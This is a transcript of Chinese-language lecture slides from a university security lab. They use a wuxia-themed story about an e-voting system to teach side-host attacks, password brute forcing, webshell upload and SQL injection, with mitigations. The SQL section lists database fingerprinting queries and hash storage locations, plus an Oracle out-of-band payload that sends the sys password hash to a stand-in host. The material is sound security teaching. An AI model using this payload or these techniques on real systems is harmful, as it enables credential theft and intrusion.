黄蓉的安全诡计之一

Download Report

Transcript 黄蓉的安全诡计之一

《黄蓉的安全诡计》大结局
攻击票务系统 之一
孙松柏
[email protected]
network and information security lab , Tsinghua University
故事概要
T大校长王重阳任期已满
考虑下一任校长应该由全校师
生民主选出
在互联网繁荣的今天,王重阳
校长决定使用电子投票系统来
完成此次校长的换届选举
4/12/2015
2
任务规划
王重阳委托计算机系主任洪七公
计算机系牵头开发和维护投票系统
开发和管理团队人员
郭靖 黄蓉 梅超风 傻姑 华筝 拖雷
项目监管和审计人员
土木系主任:东邪 人文系主任 :南帝
化学系主任 :西毒 心理学主任:瑛姑
预算经费: 10万元
4/12/2015
3
电子投票系统存在的问题
经费之困
经费少,准备合用服务器
投票实名制
考虑到刷票行为,准备使用学号+照片的形式
安全问题
阻止化学系主任欧阳锋想夺权的图谋
4/12/2015
4
学习web攻击平台推荐
• WackoPicko by UCSB
https://github.com/adamdoupe/WackoPicko/
http://www.gnacktrack.co.uk/
• Google
http://google-gruyere.appspot.com/
• Owasp Broken Web Applications
• http://www.owaspbwa.org/
4/12/2015
DB Group, DCS&T, Tsinghua University
5
问题一 旁注攻击
经过为期两个月的紧张开发,系统准备试运行
10万元经费只够开发一套票务系统和购买web应用防火墙,
无力购买新的服务器。洪七公想把投票系统网站放到访问量
不是很大的校团委网站服务器上。
黄蓉安全经验较多,明确提出不能将网站放到校团委服务器
上,因为容易受到旁注攻击
4/12/2015
6
问题一 旁注攻击
旁注攻击指的是攻击者想入侵A网站,但是由于A网站的防护
很严格,无法渗透进入,但是,A网站的服务器也运行B网站
且防护较弱,那么通过注入,跨站等方式拿到服务器的
webshell权限后,便可实施对A网站的入侵。
另外一种情况是,探测到某个学校、公司不止一个网站且服
务器相互独立。但是内部服务器在同一个局域网内,攻击者
可以先控制其中一台服务器作为跳板,对目标服务器发起攻
击。
4/12/2015
7
问题一 旁注攻击
洪七公经过慎重考虑,还是由计算机内部自行解决
剩余经费问题
购买服务器后,在计算机系内部对投票系统进入试运行
洪七公委托计算机系安全方向的博士生—黄蓉
硕士生—梅超风
查找安全问题,等待下一步在全校范围内进行测试
4/12/2015
DB Group, DCS&T, Tsinghua University
8
问题二 暴力猜解口令
黄蓉首先关心的是郭靖开发和维护的管理页面
管理页面因为权限很大,很容易收到欧阳锋主任的
关注。
暴力口令猜解是由于网页没有对用户输入进行有效
的控制,引起攻击者通过远程暴力破解就能猜解口
令的一种技术。
4/12/2015
9
问题二 暴力猜解口令
 Demo演示暴力猜解口令
 黄蓉要求郭靖在输入口令的时候加入验证码
 同时检查输入字符,严格控制输入。
4/12/2015
10
问题三 代码注入
实名制不仅要求人员有唯一的标志符—学号,
还要求所有投票人员上传身份证照片。
梅超风无意中检查了到了注册用户和上传照
片的部分。
由于代码对上传照片的格式没有做任何限制。
导致可以上传webshell控制服务器
4/12/2015
11
问题三 代码注入
Demo演示,梅超风上传php webshell
梅超风建议严格控制上传文件格式
黄蓉发现投票系统中有一个查询当前得
票数的页面。
Demo演示,黄蓉测试绕过代码执行
4/12/2015
12
问题四 SQL 注入
SQL注入指的是发生在web应用后台服务器上出现在安全漏洞。
简单的说,就是在输入字符串中嵌入SQL指令,在设计程序
中忽略了对特殊字符串的检查,这些嵌入的指令便会被误认
为正常的SQL指令在数据库中执行,因此可以对后台数据库
进行查询等工作,甚至破坏后台数据库造成严重后果。
目前注入大致分为普通注入和盲注。普通注入根据后台数据
库提示有价值的错误信息,可以轻松的进行注入活动。盲注
(blind injection)则是有经验的管理员在给出错误页面
时,没有提供详细的错误信息。攻击者需要运用脚本通过仅
有的判断信息对表中的每一个字段进行探测,从而实现输入
的技术。就难易程度而言,盲注的难度较大
4/12/2015
13
问题四 SQL 注入
SQL注入常用技术
1、识别数据库
MsSql:select @@version
Mysql: select version()
Oracle: select banner from v$version
select banner from v$version where rownum=1
2、使用uinon语句提出数据
3、使用条件语句
MsSql: if(‘a’=‘a’) select 1 else select 2
MySql: selcet if (‘a’,1,2)
4/12/2015
14
问题四 SQL 注入
4、利用数据库错误。
5、窃取hash,识别加密手段:
 MSSQL2000: hash存储在 master数据库的syslogins表中
 MSSQL2005:需要通过查询sql—logins视图检索hash。(SHA1)
 MYSQL(4.1版本以后):HASH特点 以*号开头,且长度为41个字符。
*B046BBAF61FE3BB6F60CA99AF39F5C2702F00D12(双SHA1)
 ORACLE11g开始以前采用des加密,以后采用SHA1,且保存在名为spare4
的列中。
4/12/2015
问题四 SQL 注入
6、高级方法(out of band )
MSSQL 内置email发送功能.xp_sendmail扩展存储功能。
Oracle 不仅提供了email的发送功能 ,还提供了两种http请求 方法.
UTL_HTTP和HTTPURI_TYPE
想要想远程系统发送sys用户的hash口令,可以注入下列字符
OR 1=utl_http.resuest(http://www.example.com/’||(select password from
aba_users where rownum=1)) .getclob() --
4/12/2015
16
问题四 SQL 注入
化学系研究生欧阳克潜入计算机系机房 企图渗透票
务系统。
Demo sql 注入演示。
4/12/2015
17
TO BE CONTINUED
经过计算机系内部测试一段时间,洪七公准备在全
校范围内进行测试,票务系统等于完全暴露在欧阳
锋团队之下,欧阳锋是否有足够的手段成功攻击票
务系统,请听下回分解。
4/12/2015
18
THANKS for LISTENING
4/12/2015
19